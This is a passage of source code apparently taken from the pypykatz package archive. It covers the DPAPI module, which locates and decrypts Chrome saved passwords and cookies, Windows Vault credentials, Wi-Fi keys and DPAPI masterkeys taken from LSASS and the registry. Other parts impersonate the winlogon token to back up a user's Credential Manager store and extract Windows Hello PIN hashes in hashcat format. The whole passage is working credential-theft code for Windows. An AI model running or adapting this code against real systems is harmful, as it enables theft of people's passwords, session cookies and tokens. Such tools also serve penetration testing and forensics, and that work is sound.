bytes returns: dictionary of attrbitues as key, and a list of possible decrypted data """ vv = VAULT_VCRD.from_bytes(data) return self.decrypt_vcrd(vv) def decrypt_vcrd(self, vcrd): """ Decrypts the attributes found in a VCRD object, and returns the cleartext data candidates A VCRD file can have a lot of stored credentials inside, most of them with custom data strucutre It is not possible to tell if the decryption was sucsesssfull, so treat the result accordingly vcrd: VAULT_VCRD object key: bytes of the decryption key. optional. If not supplied the function will look for stored keys. returns: dictionary of attrbitues as key, and a list of possible decrypted data """ def decrypt_attr(attr, key): if attr.data is not None: if attr.iv is not None: cipher = AES(key, MODE_CBC, attr.iv) else: cipher = AES(key, MODE_CBC, b'\x00'*16) cleartext = cipher.decrypt(attr.data) return cleartext res = {} for i, key in enumerate(self.vault_keys): for attr in vcrd.attributes: cleartext = decrypt_attr(attr, key) if attr not in res: res[attr] = [] res[attr].append(cleartext) return res def decrypt_vpol_bytes(self, data, entropy = None): """ Decrypts the VPOL file, and returns the two keys' bytes A VPOL file stores two encryption keys. data: bytes of the VPOL file returns touple of bytes, describing two keys """ vpol = VAULT_VPOL.from_bytes(data) res = self.decrypt_blob_bytes(vpol.blobdata, entropy = entropy) keys = VAULT_VPOL_KEYS.from_bytes(res) self.vault_keys.append(keys.key1.get_key()) self.vault_keys.append(keys.key2.get_key()) return keys.key1.get_key(), keys.key2.get_key() def decrypt_vpol_file(self, file_path): """ Decrypts a VPOL file Location: %APPDATA%\Local\Microsoft\Vault\%GUID%\<>.vpol file_path: path to the vcrd file keys: Optional. returns: touple of bytes, describing two keys """ with open(file_path, 'rb') as f: return self.decrypt_vpol_bytes(f.read()) def decrypt_securestring_bytes(self, data, entropy = None): return self.decrypt_blob_bytes(data, entropy = entropy) def decrypt_securestring_hex(self, hex_str): return self.decrypt_securestring_bytes(bytes.fromhex(hex_str)) def decrypt_securestring_file(self, file_path): with open(file_path, 'r') as f: data = f.read() return self.decrypt_securestring_hex(data) @staticmethod def find_masterkey_files_live(): windows_loc = DPAPI.get_windows_dir_live() user_folder = DPAPI.get_users_dir_live() return DPAPI.find_masterkey_files_offline(user_folder, windows_loc) @staticmethod def find_masterkey_files_offline(users_path, windows_path): def is_guid(fname): if os.path.isfile(filename) is True: base = ntpath.basename(filename) if base.find('-') == -1: return False try: bytes.fromhex(base.replace('-','')) except: return False return True return False masterkey_files = {} for filename in glob.glob(os.path.join(windows_path, "System32","Microsoft","Protect", "**"), recursive = True): if is_guid(filename) is True: logger.debug('GUID SYSTEM FILE: %s' % filename) masterkey_files[ntpath.basename(filename)] = filename user_folders = {} for filename in glob.glob(os.path.join(users_path, '*'), recursive=False): if os.path.isdir(filename): user_folders[filename] = 1 for subfolder in ['Local', 'Roaming', 'LocalLow']: for user_folder in user_folders: for filename in glob.glob(os.path.join(user_folder, "AppData", subfolder, "Microsoft", "Protect", '**'), recursive = True): if is_guid(filename) is True: masterkey_files[ntpath.basename(filename)] = filename logger.debug('GUID USER FILE: %s' % filename) return masterkey_files @staticmethod def get_users_dir_live(): username = os.environ.get('USERNAME') userprofile_loc = os.environ.get('USERPROFILE') username = os.environ.get('USERNAME') return userprofile_loc[:-len(username)] @staticmethod def get_windows_dir_live(): return os.environ.get('SystemRoot') @staticmethod def get_windows_drive_live(): return os.environ.get('SystemDrive')[0] @staticmethod def find_chrome_database_file_live(): return DPAPI.find_chrome_database_file_offline(DPAPI.get_users_dir_live()) @staticmethod def find_chrome_database_file_offline(users_path): db_paths = {} # username -> files user_folders = {} # username -> folder for filename in glob.glob(os.path.join(users_path, '*'), recursive=False): if os.path.isdir(filename): username = ntpath.basename(filename) if username not in user_folders: user_folders[username] = [] user_folders[username].append(filename) for subfolder_1 in ['Local', 'Roaming', 'LocalLow']: for subfolder_2 in ['', 'Google']: for username in user_folders: if username not in db_paths: db_paths[username] = {} for user_folder in user_folders[username]: db_path = os.path.join(user_folder, 'AppData', subfolder_1, subfolder_2, 'Chrome','User Data','Default','Login Data' ) if os.path.isfile(db_path) is True: db_paths[username]['logindata'] = db_path logger.debug('CHROME LOGINS DB FILE: %s' % db_path) db_cookies_path = os.path.join(user_folder, 'AppData', subfolder_1, subfolder_2, 'Chrome','User Data','Default','Cookies' ) if os.path.isfile(db_cookies_path) is True: db_paths[username]['cookies'] = db_cookies_path logger.debug('CHROME COOKIES DB FILE: %s' % db_cookies_path) localstate_path = os.path.join(user_folder, 'AppData', subfolder_1, subfolder_2, 'Chrome','User Data', 'Local State' ) if os.path.isfile(localstate_path) is True: db_paths[username]['localstate'] = localstate_path logger.debug('CHROME localstate FILE: %s' % localstate_path) return db_paths @staticmethod def get_chrome_encrypted_secret(db_path, dbtype): results = {} results['logins'] = [] results['cookies'] = [] results['localstate'] = [] try: conn = sqlite3.connect(db_path) cursor = conn.cursor() except Exception as e: logger.debug('Failed to open chrome DB file %s' % db_path) return results if dbtype.lower() == 'cookies': try: #totally not stolen from here https://github.com/byt3bl33d3r/chrome-decrypter/blob/master/chrome_decrypt.py cursor.execute('SELECT host_key, name, path, encrypted_value FROM cookies') except Exception as e: logger.debug('Failed perform query on chrome DB file %s Reason: %s' % (db_path, e)) return results for host_key, name, path, encrypted_value in cursor.fetchall(): results['cookies'].append((host_key, name, path, encrypted_value)) elif dbtype.lower() == 'logindata': try: #totally not stolen from here https://github.com/byt3bl33d3r/chrome-decrypter/blob/master/chrome_decrypt.py cursor.execute('SELECT action_url, username_value, password_value FROM logins') except Exception as e: logger.debug('Failed perform query on chrome DB file %s Reason: %s' % (db_path, e)) return results for url, user, enc_pw in cursor.fetchall(): results['logins'].append((url, user, enc_pw)) return results def decrypt_all_chrome_live(self): dbpaths = DPAPI.find_chrome_database_file_live() return self.decrypt_all_chrome(dbpaths) def decrypt_all_chrome(self, dbpaths, throw = False): results = {} results['logins'] = [] results['cookies'] = [] results['fmtcookies'] = [] localstate_dec = None for username in dbpaths: if 'localstate' in dbpaths[username]: with open(dbpaths[username]['localstate'], 'r') as f: encrypted_key = json.load(f)['os_crypt']['encrypted_key'] encrypted_key = base64.b64decode(encrypted_key) try: localstate_dec = self.decrypt_blob_bytes(encrypted_key[5:]) except: if throw is True: raise Exception('LocalState decryption failed!') # this localstate was encrypted for another user... continue if 'cookies' in dbpaths[username]: secrets = DPAPI.get_chrome_encrypted_secret(dbpaths[username]['cookies'], 'cookies') for host_key, name, path, encrypted_value in secrets['cookies']: if encrypted_value.startswith(b'v10'): nonce = encrypted_value[3:3+12] ciphertext = encrypted_value[3+12:-16] tag = encrypted_value[-16:] cipher = AES(localstate_dec, MODE_GCM, IV=nonce, segment_size = 16) dec_val = cipher.decrypt(ciphertext, b'', tag) results['cookies'].append((dbpaths[username]['cookies'], host_key, name, path, dec_val )) results['fmtcookies'].append(DPAPI.cookieformatter('https://' + host_key, name, path, dec_val)) elif encrypted_value: dec_val = self.decrypt_blob_bytes(encrypted_value) results['cookies'].append((dbpaths[username]['cookies'], host_key, name, path, dec_val )) results['fmtcookies'].append(DPAPI.cookieformatter('https://' + host_key, name, path, dec_val)) if 'logindata' in dbpaths[username]: secrets = DPAPI.get_chrome_encrypted_secret(dbpaths[username]['logindata'], 'logindata') for url, user, enc_password in secrets['logins']: if enc_password.startswith(b'v10'): nonce = enc_password[3:3+12] ciphertext = enc_password[3+12:-16] tag = enc_password[-16:] cipher = AES(localstate_dec, MODE_GCM, IV=nonce, segment_size = 16) password = cipher.decrypt(ciphertext, b'', tag) results['logins'].append((dbpaths[username]['logindata'], url, user, password)) else: password = self.decrypt_blob_bytes(enc_password) results['logins'].append((dbpaths[username]['logindata'], url, user, password)) return results def get_all_masterkeys_live(self): try: self.get_all_keys_from_lsass_live() except: logger.debug('Failed to get masterkeys/prekeys from LSASS!') try: self.get_prekeys_form_registry_live() except Exception as e: logger.debug('Failed to get masterkeys/prekeys from registry!') mkfiles = DPAPI.find_masterkey_files_live() for guid in mkfiles: logger.debug('Decrypting masterkeyfile with guid: %s location: %s' % (guid, mkfiles[guid])) mk, bk = self.decrypt_masterkey_file(mkfiles[guid]) if len(mk) > 0 or len(bk) > 0: logger.debug('Decrypted masterkeyfile with guid: %s location: %s' % (guid, mkfiles[guid])) else: logger.debug('Failed to decrypt masterkeyfile with guid: %s location: %s' % (guid, mkfiles[guid])) return self.masterkeys, self.backupkeys @staticmethod def parse_wifi_config_file(filepath): wifi = {} tree = ET.parse(filepath) root = tree.getroot() for child in root: if child.tag.endswith('}name'): wifi['name'] = child.text elif child.tag.endswith('}MSM'): for pc in child.iter(): if pc.tag.endswith('}keyMaterial'): wifi['enckey'] = pc.text return wifi @staticmethod def get_all_wifi_settings_offline(system_drive_letter): wifis = [] for filename in glob.glob(system_drive_letter+':\\ProgramData\\Microsoft\\Wlansvc\\Profiles\\Interfaces\\**', recursive=True): if filename.endswith('.xml'): wifi = DPAPI.parse_wifi_config_file(filename) wifis.append(wifi) return wifis @staticmethod def get_all_wifi_settings_live(): return DPAPI.get_all_wifi_settings_offline(DPAPI.get_windows_drive_live()) @staticmethod def strongentropy(password:str, entropy = None, dtype = 2): """This function generates the "extra" entropy based on the password and the provided entropy (opt).""" res = b'' if entropy is None else entropy if dtype == 2: res += sha512(password.encode('utf-16-le')).digest() else: res += sha1(password.encode('utf-16-le')).digest() return res def decrypt_wifi_live(self): # key is encrypted as system!!! pm = ProcessManipulator() try: try: pm.getsystem() except Exception as e: raise Exception('Failed to obtain SYSTEM privileges! Are you admin? Error: %s' % e) for wificonfig in DPAPI.get_all_wifi_settings_live(): yield self.decrypt_wifi_config_file_inner(wificonfig) finally: pm.dropsystem() def decrypt_wifi_config_file_inner(self, wificonfig): if 'enckey' in wificonfig and wificonfig['enckey'] != '': wificonfig['key'] = self.decrypt_securestring_hex(wificonfig['enckey']) return wificonfig def decrypt_wifi_config_file(self, configfile): wificonfig = DPAPI.parse_wifi_config_file(configfile) return self.decrypt_wifi_config_file_inner(wificonfig) @staticmethod def cookieformatter(host, name, path, content): """This is the data format the 'Cookie Quick Manager' uses to load cookies in FireFox""" return { "Host raw": host, #"https://.pkgs.org/", "Name raw": name, #"distro_id", "Path raw": path, #"/", "Content raw": content, # "196", "Expires": "26-05-2022 21:06:29", # "12-05-2022 15:59:48", "Expires raw": "1653591989", # "1652363988", "Send for": "Any type of connection", #"Encrypted connections only", "Send for raw": False, #"true", "HTTP only raw": False, #"false", "SameSite raw": "lax", #"lax", "This domain only": False, #"Valid for subdomains", "This domain only raw": False, #"false", "Store raw": "firefox-default", #"firefox-default", "First Party Domain": "", #"" } def decrypt_cloudap_key(self, keyvalue_url_b64): keyvalue = base64_decode_url(keyvalue_url_b64, bytes_expected=True) keyvalue = keyvalue[8:] # skip the first 8 bytes key_blob = DPAPI_BLOB.from_bytes(keyvalue) return self.decrypt_blob(key_blob) def decrypt_cloudapkd_prt(self, PRT): prt_json = json.loads(PRT) keyvalue = prt_json.get('ProofOfPossesionKey',{}).get('KeyValue') if keyvalue is None: raise Exception('KeyValue not found in PRT') keyvalue_dec = self.decrypt_cloudap_key(keyvalue) return keyvalue_dec def winhello_pin_hash_offline(self, ngc_dir, cryptokeys_dir): """This function presupposes that the DPAPI object already has all necessary keys loaded.""" results = [] pin_guids = [] for entry in NGCProtectorFinder.from_dir(ngc_dir): pin_guids.append(entry.guid) for entry in CryptoKeysFinder.from_dir(cryptokeys_dir): if entry.description in pin_guids: print(f'Found matching GUID: {entry.description}') properties_raw = self.decrypt_blob_bytes(entry.fields[1], entropy=b'6jnkd5J3ZdQDtrsu\x00') properties = CryptoAPIKeyProperties.from_bytes(properties_raw) blob = DPAPI_BLOB.from_bytes(entry.fields[2]) salt = properties['NgcSoftwareKeyPbkdf2Salt'].value iterations = properties['NgcSoftwareKeyPbkdf2Round'].value entropy = b'\x78\x54\x35\x72\x5a\x57\x35\x71\x56\x56\x62\x72\x76\x70\x75\x41\x00' hashcat_format = f'$WINHELLO$*SHA512*{iterations}*{salt.hex()}*{blob.signature.hex()}*{self.get_key_for_blob(blob).hex()}*{blob.HMAC.hex()}*{blob.to_sign.hex()}*{entropy.hex()}' results.append(hashcat_format) return results # arpparse helper def prepare_dpapi_live(methods = [], mkf = None, pkf = None): dpapi = DPAPI() if mkf is not None: dpapi.load_masterkeys(mkf) if pkf is not None: dpapi.load_prekeys(mkf) if 'all' in methods: dpapi.get_all_masterkeys_live() if 'registry' in methods and 'all' not in methods: dpapi.get_prekeys_form_registry_live() if 'lsass' in methods and 'all' not in methods: dpapi.get_masterkeys_from_lsass_live() return dpapi def main(): mkffile = '/mnt/hgfs/!SHARED/feature/masterkeyfile - 170d0d57-e0ae-4877-bab6-6f5af49d3e8e' pvkfile = '/mnt/hgfs/!SHARED/feature/pvkfile - ntds_capi_0_fdf0c850-73d3-48cf-86b6-6beb609206c3.keyx.rsa.pvk' dpapi = DPAPI() dpapi.decrypt_mkf_with_pvk(mkffile, pvkfile) if __name__ == '__main__': main() ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1703767448.0 pypykatz-0.6.10/pypykatz/dpapi/extras.py0000664000175000017500000000540414543266630017731 0ustar00webdevwebdev# Thank you! # https://www.tiraniddo.dev/2021/05/dumping-stored-credentials-with.html import tempfile import os from pypykatz import logger from pypykatz.commons.winapi.local.function_defs.advapi32 import CredBackupCredentials from pypykatz.commons.readers.local.process import Process, PROCESS_QUERY_LIMITED_INFORMATION from pypykatz.commons.readers.local.common.privileges import enable_debug_privilege, RtlAdjustPrivilege from pypykatz.commons.winapi.local.function_defs.advapi32 import SetThreadToken from pypykatz.dpapi.functiondefs.dpapi import CryptUnprotectData from pypykatz.dpapi.structures.credentialfile import CREDENTIAL_BLOB, CredentialFile def dpapi_trustedcredman(target_pid, special_process = 'winlogon.exe', temp_file_path = None): dec_data = None try: if temp_file_path is None: tf = tempfile.NamedTemporaryFile(delete=False) temp_file_path = tf.name logger.debug('Temp file path: %s' % temp_file_path) tf.close() enable_debug_privilege() ### opening winlogon and duplicating token, impersonating it, enabling SeTrustedCredmanAccessPrivilege pwinlogon = Process(name = special_process, access = PROCESS_QUERY_LIMITED_INFORMATION, open = True) winlogon_token = pwinlogon.duplicate_token() SetThreadToken(winlogon_token) RtlAdjustPrivilege(31, thread_or_process=True) #SeTrustedCredmanAccessPrivilege = 31 ### opening target process, getting handle on its token puserprocess = Process(pid=target_pid, access = PROCESS_QUERY_LIMITED_INFORMATION, open = True) puserprocess_token = puserprocess.get_process_token() ### magic happens here CredBackupCredentials(puserprocess_token, temp_file_path) ### opening encrypted cerentials file and decrypting it with open(temp_file_path, 'rb') as f: dec_data = CryptUnprotectData(f.read()) ### parsing decrypted credfile results = [] xf = CredentialFile.from_bytes(dec_data) blobsdata = xf.data if xf.unk == 2: res = CREDENTIAL_BLOB.from_bytes(blobsdata) results.append(res) blobsdata = blobsdata[res.size:] while len(blobsdata) > 0: res = CREDENTIAL_BLOB.from_bytes(blobsdata) results.append(res) blobsdata = blobsdata[res.size:] return dec_data, results, None except Exception as e: logger.debug('dpapi_trustedcredman err! %s' % e) return dec_data, None, e finally: try: os.unlink(temp_file_path) logger.debug('Temp file removed') except Exception as e: logger.debug('Failed to remove temp file! %s' % str(e)) pass././@PaxHeader0000000000000000000000000000003400000000000010212 xustar0028 mtime=1721570196.3073645 pypykatz-0.6.10/pypykatz/dpapi/finders/0000775000175000017500000000000014647211624017476 5ustar00webdevwebdev././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1714588340.0 pypykatz-0.6.10/pypykatz/dpapi/finders/__init__.py0000664000175000017500000000000014614505264021575 0ustar00webdevwebdev././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1714588442.0 pypykatz-0.6.10/pypykatz/dpapi/finders/cryptokeys.py0000664000175000017500000000344414614505432022266 0ustar00webdevwebdevimport pathlib from typing import Iterator, List from winacl.dtyp.wcee.cryptoapikey import CryptoAPIKeyFile, CryptoAPIKeyProperties class CryptoKeysFinder: def __init__(self): self.startdir = ['ServiceProfiles','LocalService','AppData','Roaming','Microsoft','Crypto','Keys'] self.entries:List[CryptoAPIKeyFile] = [] def __iter__(self) -> Iterator[CryptoAPIKeyFile]: return iter(self.entries) @staticmethod def from_windir(win_dir: str | pathlib.Path, raise_error: bool = True): if isinstance(win_dir, str): win_dir = pathlib.Path(win_dir).absolute() if not win_dir.is_dir(): if raise_error: raise ValueError(f'{win_dir} is not a directory') return CryptoKeysFinder() cryptokeys_dir = win_dir for directory in CryptoKeysFinder().startdir: cryptokeys_dir = cryptokeys_dir / directory if not cryptokeys_dir.is_dir(): raise ValueError(f'{cryptokeys_dir} does not exist') return CryptoKeysFinder.from_dir(cryptokeys_dir) @staticmethod def from_dir(cryptokeys_dir: str | pathlib.Path, raise_error: bool = True): if isinstance(cryptokeys_dir, str): cryptokeys_dir = pathlib.Path(cryptokeys_dir).absolute() if not cryptokeys_dir.is_dir(): if raise_error: raise ValueError(f'{cryptokeys_dir} is not a directory') return CryptoKeysFinder() finder = CryptoKeysFinder() for filepath in cryptokeys_dir.iterdir(): if filepath.is_dir(): continue key = CryptoAPIKeyFile.from_bytes(filepath.read_bytes()) finder.entries.append(key) return finder././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1714588419.0 pypykatz-0.6.10/pypykatz/dpapi/finders/ngc.py0000664000175000017500000000545714614505403020625 0ustar00webdevwebdevimport pathlib from typing import Iterator, List class NGCProtector: def __init__(self): self.sid = None self.path = None self.provider = None self.guid = None class NGCProtectorFinder: def __init__(self): self.startdir = ['ServiceProfiles','LocalService','AppData','Local','Microsoft','Ngc'] self.entries:List[NGCProtector] = [] def __iter__(self) -> Iterator[NGCProtector]: return iter(self.entries) @staticmethod def from_windir(win_dir: str | pathlib.Path, raise_error: bool = True): if isinstance(win_dir, str): win_dir = pathlib.Path(win_dir).absolute() if not win_dir.is_dir(): raise ValueError(f'{win_dir} is not a directory') ngc_dir = win_dir for directory in NGCProtectorFinder().startdir: ngc_dir = ngc_dir / directory if not ngc_dir.is_dir(): raise ValueError(f'{ngc_dir} does not exist') return NGCProtectorFinder.from_dir(ngc_dir, raise_error=raise_error) @staticmethod def from_dir(ngc_dir: str | pathlib.Path, raise_error: bool = True): if isinstance(ngc_dir, str): ngc_dir = pathlib.Path(ngc_dir).absolute() if not ngc_dir.is_dir(): if raise_error: raise ValueError(f'{ngc_dir} is not a directory') return NGCProtectorFinder() finder = NGCProtectorFinder() for directory in ngc_dir.iterdir(): if not directory.is_dir(): continue if directory.name.startswith('{') and directory.name.endswith('}'): sid_file_path = ngc_dir / directory / '1.dat' fpd = ngc_dir / directory / 'Protectors' / '1' if not sid_file_path.exists(): print(f'NGC missing SID file at: {sid_file_path}') continue if not fpd.exists(): print(f'NGC missing Protector directory at: {directory}') continue sid = sid_file_path.read_text('utf-16-le').strip('\x00') pfp = fpd / '1.dat' if not pfp.exists(): print(f'NGC missing Protector file at: {pfp}') continue gfp = fpd / '2.dat' if not gfp.exists(): print(f'NGC missing GUID file at: {gfp}') continue protector = NGCProtector() protector.sid = sid protector.provider = pfp.read_text('utf-16-le').strip('\x00') protector.guid = gfp.read_text('utf-16-le').strip('\x00') protector.path = fpd finder.entries.append(protector) return finder ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1714589425.0 pypykatz-0.6.10/pypykatz/dpapi/finders/registry.py0000664000175000017500000000561514614507361021727 0ustar00webdevwebdevimport pathlib from aiowinreg.filestruct.header import NTRegistryHeadr class RegFinder: def __init__(self): self.startdir = ['System32','config'] self.entries = { 'SAM': None, 'SECURITY': None, 'SYSTEM': None, 'SOFTWARE': None, } @staticmethod def from_windir(windir: str | pathlib.Path, raise_error: bool = True): """Searches for the registry hives in the Windows directory. Do not use on live systems.""" if isinstance(windir, str): windir = pathlib.Path(windir).absolute() if not windir.is_dir(): raise ValueError(f'{windir} is not a directory') finder = RegFinder() regdir = windir for directory in finder.startdir: regdir = regdir / directory if not regdir.is_dir(): if raise_error: raise ValueError(f'{regdir} does not exist') return finder.entries for filepath in regdir.iterdir(): if filepath.is_dir(): continue if filepath.name.upper().endswith('SAM'): finder.entries['SAM'] = filepath if filepath.name.upper().endswith('SECURITY'): finder.entries['SECURITY'] = filepath if filepath.name.upper().endswith('SYSTEM'): finder.entries['SYSTEM'] = filepath if filepath.name.upper().endswith('SOFTWARE'): finder.entries['SOFTWARE'] = filepath return finder.entries @staticmethod def from_dir(reg_dir: str | pathlib.Path, raise_error: bool = True): """Searches for the registry hives in the directory.""" finder = RegFinder() if isinstance(reg_dir, str): reg_dir = pathlib.Path(reg_dir).absolute() if not reg_dir.is_dir(): if raise_error: raise ValueError(f'{reg_dir} is not a directory') return finder.entries for filepath in reg_dir.iterdir(): if filepath.is_dir(): continue try: with open(filepath, 'rb') as f: header = NTRegistryHeadr.read(f) if header.file_name.upper().endswith('SAM'): finder.entries['SAM'] = filepath if header.file_name.upper().endswith('SECURITY'): finder.entries['SECURITY'] = filepath if header.file_name.upper().endswith('SYSTEM'): finder.entries['SYSTEM'] = filepath if header.file_name.upper().endswith('SOFTWARE'): finder.entries['SOFTWARE'] = filepath except Exception as e: print(f'Error reading {filepath}: {e}') continue return finder.entries././@PaxHeader0000000000000000000000000000003400000000000010212 xustar0028 mtime=1721570196.3073645 pypykatz-0.6.10/pypykatz/dpapi/functiondefs/0000775000175000017500000000000014647211624020533 5ustar00webdevwebdev././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1703767448.0 pypykatz-0.6.10/pypykatz/dpapi/functiondefs/__init__.py0000664000175000017500000000000014543266630022634 0ustar00webdevwebdev././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1703767448.0 pypykatz-0.6.10/pypykatz/dpapi/functiondefs/dpapi.py0000664000175000017500000000377614543266630022221 0ustar00webdevwebdevfrom ctypes import byref, Structure, c_char, c_buffer, string_at, windll, c_void_p, c_uint32, POINTER, c_wchar_p, WinError LPWSTR = c_wchar_p LPVOID = c_void_p PVOID = LPVOID PPVOID = POINTER(PVOID) DWORD = c_uint32 def RaiseIfZero(result, func = None, arguments = ()): """ Error checking for most Win32 API calls. The function is assumed to return an integer, which is C{0} on error. In that case the C{WindowsError} exception is raised. """ if not result: raise WinError() return result class DATA_BLOB(Structure): _fields_ = [ ('cbData', DWORD), ('pbData', POINTER(c_char)) ] PDATA_BLOB = POINTER(DATA_BLOB) # https://docs.microsoft.com/en-us/windows/win32/api/dpapi/nf-dpapi-cryptunprotectdata def CryptUnprotectData(enc_blob, entropy = None, to_prompt = False): _CryptUnprotectData = windll.crypt32.CryptUnprotectData _CryptUnprotectData.argtypes = [PDATA_BLOB, LPWSTR, PDATA_BLOB, PVOID, DWORD, DWORD, PDATA_BLOB] _CryptUnprotectData.restype = bool _CryptUnprotectData.errcheck = RaiseIfZero buffer_in = c_buffer(enc_blob, len(enc_blob)) blob_in = DATA_BLOB(len(enc_blob), buffer_in) blob_out = DATA_BLOB() if entropy is not None: buffer_entropy = c_buffer(entropy, len(entropy)) blob_entropy = DATA_BLOB(len(entropy), buffer_entropy) _CryptUnprotectData(byref(blob_in), None, byref(blob_entropy), None, None, 0, byref(blob_out)) else: _CryptUnprotectData(byref(blob_in), None, None, None, 0, 0, byref(blob_out)) dec_data = string_at(blob_out.pbData, blob_out.cbData) return dec_data if __name__ == '__main__': enc_data = bytes.fromhex('01000000d08c9ddf0115d1118c7a00c04fc297eb010000005f3d1f4bf6f35b469eb9719205c9c1160000000002000000000003660000c000000010000000ef8ad11a2c0a0fa867c4bc8ea535c3b10000000004800000a000000010000000beb718a641f76dff7fb9f6edb0da69061800000068cdb387e412d6e097cd7db04af8638247b9b4987cd5048714000000bb10d25466234b082ac4052360ed3d57e8951367') dec_data = CryptUnprotectData(enc_data) print(dec_data)././@PaxHeader0000000000000000000000000000003400000000000010212 xustar0028 mtime=1721570196.3073645 pypykatz-0.6.10/pypykatz/dpapi/structures/0000775000175000017500000000000014647211624020267 5ustar00webdevwebdev././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1703767448.0 pypykatz-0.6.10/pypykatz/dpapi/structures/__init__.py0000664000175000017500000000000014543266630022370 0ustar00webdevwebdev././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1703767448.0 pypykatz-0.6.10/pypykatz/dpapi/structures/blob.py0000664000175000017500000001360614543266630021567 0ustar00webdevwebdev #!/usr/bin/env python3 # # Author: # Tamas Jos (@skelsec) # import io import enum from hashlib import sha1 import hmac from pypykatz.dpapi.constants import * from pypykatz.commons.win_datatypes import GUID from unicrypto.backends.pure.padding.pkcs7 import unpad class DPAPI_BLOB: def __init__(self): self.version = None self.credential_guid = None self.masterkey_version = None self.masterkey_guid = None self.flags = None self.description_length = None self.description = None self.crypto_algorithm = None self.crypto_algorithm_length = None self.salt_length = None self.salt = None self.HMAC_key_length = None self.HMAC_key = None self.hash_algorithm = None self.HMAC = None self.data_length = None self.data = None self.signature_length = None self.signature = None @staticmethod def from_bytes(data): return DPAPI_BLOB.from_buffer(io.BytesIO(data)) @staticmethod def from_buffer(buff): sk = DPAPI_BLOB() sk.version = int.from_bytes(buff.read(4), 'little', signed = False) sk.credential_guid = buff.read(16) signature_start_pos = buff.tell() sk.masterkey_version = int.from_bytes(buff.read(4), 'little', signed = False) sk.masterkey_guid = GUID(buff).value sk.flags = FLAGS(int.from_bytes(buff.read(4), 'little', signed = False)) sk.description_length = int.from_bytes(buff.read(4), 'little', signed = False) sk.description = buff.read(sk.description_length) sk.crypto_algorithm = ALGORITHMS(int.from_bytes(buff.read(4), 'little', signed = False)) sk.crypto_algorithm_length = int.from_bytes(buff.read(4), 'little', signed = False) sk.salt_length = int.from_bytes(buff.read(4), 'little', signed = False) sk.salt = buff.read(sk.salt_length) sk.HMAC_key_length = int.from_bytes(buff.read(4), 'little', signed = False) sk.HMAC_key = buff.read(sk.HMAC_key_length) sk.hash_algorithm = ALGORITHMS(int.from_bytes(buff.read(4), 'little', signed = False)) sk.hash_algorithm_length = int.from_bytes(buff.read(4), 'little', signed = False) sk.HMAC_length = int.from_bytes(buff.read(4), 'little', signed = False) sk.HMAC = buff.read(sk.HMAC_length) sk.data_length = int.from_bytes(buff.read(4), 'little', signed = False) sk.data = buff.read(sk.data_length) signature_end_pos = buff.tell() buff.seek(signature_start_pos, 0) sk.to_sign = buff.read(signature_end_pos - signature_start_pos) sk.signature_length = int.from_bytes(buff.read(4), 'little', signed = False) sk.signature = buff.read(sk.signature_length) return sk def decrypt(self, key, entropy = None): def fixparity(deskey): temp = b'' for i in range(len(deskey)): t = (bin(deskey[i])[2:]).rjust(8,'0') if t[:7].count('1') %2 == 0: temp+= int(t[:7]+'1',2).to_bytes(1, 'big') else: temp+= int(t[:7]+'0',2).to_bytes(1, 'big') return temp key_hash = sha1(key).digest() session_key_ctx = hmac.new(key_hash, self.salt, ALGORITHMS_DATA[self.hash_algorithm][1]) if entropy is not None: session_key_ctx.update(entropy) session_key = session_key_ctx.digest() if len(session_key) > ALGORITHMS_DATA[self.hash_algorithm][4]: derived_key = hmac.new(session_key, digestmod = ALGORITHMS_DATA[self.hash_algorithm][1]).digest() else: derived_key = session_key if len(derived_key) < ALGORITHMS_DATA[self.crypto_algorithm][0]: # Extend the key derived_key += b'\x00'*ALGORITHMS_DATA[self.hash_algorithm][4] ipad = bytearray([ i ^ 0x36 for i in bytearray(derived_key)][:ALGORITHMS_DATA[self.hash_algorithm][4]]) opad = bytearray([ i ^ 0x5c for i in bytearray(derived_key)][:ALGORITHMS_DATA[self.hash_algorithm][4]]) derived_key = ALGORITHMS_DATA[self.hash_algorithm][1](ipad).digest() + \ ALGORITHMS_DATA[self.hash_algorithm][1](opad).digest() derived_key = fixparity(derived_key) cipher = ALGORITHMS_DATA[self.crypto_algorithm][1](derived_key[:ALGORITHMS_DATA[self.crypto_algorithm][0]], mode=ALGORITHMS_DATA[self.crypto_algorithm][2], IV=b'\x00'*ALGORITHMS_DATA[self.crypto_algorithm][3]) cleartext = unpad(cipher.decrypt(self.data), ALGORITHMS_DATA[self.crypto_algorithm][3]) # Calculate the different HMACKeys hash_block_size = ALGORITHMS_DATA[self.hash_algorithm][4] key_hash_2 = key_hash + b"\x00"*hash_block_size ipad = bytearray([i ^ 0x36 for i in bytearray(key_hash_2)][:hash_block_size]) opad = bytearray([i ^ 0x5c for i in bytearray(key_hash_2)][:hash_block_size]) a = ALGORITHMS_DATA[self.hash_algorithm][1](ipad) a.update(self.HMAC) #print('key_hash_2 : %s' % key_hash_2) #print('ipad : %s' % ipad) #print('opad : %s' % opad) hmac_calculated_1 = ALGORITHMS_DATA[self.hash_algorithm][1](opad) hmac_calculated_1.update(a.digest()) if entropy is not None: hmac_calculated_1.update(entropy) hmac_calculated_1.update(self.to_sign) #print('hmac_calculated_1 : %s' % hmac_calculated_1.hexdigest()) hmac_calculated_3 = hmac.new(key_hash, self.HMAC, ALGORITHMS_DATA[self.hash_algorithm][1]) if entropy is not None: hmac_calculated_3.update(entropy) hmac_calculated_3.update(self.to_sign) #print('hmac_calculated_3 : %s' % hmac_calculated_3.hexdigest()) if hmac_calculated_1.digest() == self.signature or hmac_calculated_3.digest() == self.signature: return cleartext else: return None def __str__(self): t = '== DPAPI_BLOB ==\r\n' for k in self.__dict__: if isinstance(self.__dict__[k], list): for i, item in enumerate(self.__dict__[k]): t += ' %s: %s: %s' % (k, i, str(item)) else: t += '%s: %s \r\n' % (k, str(self.__dict__[k])) return t if __name__ == '__main__': data = 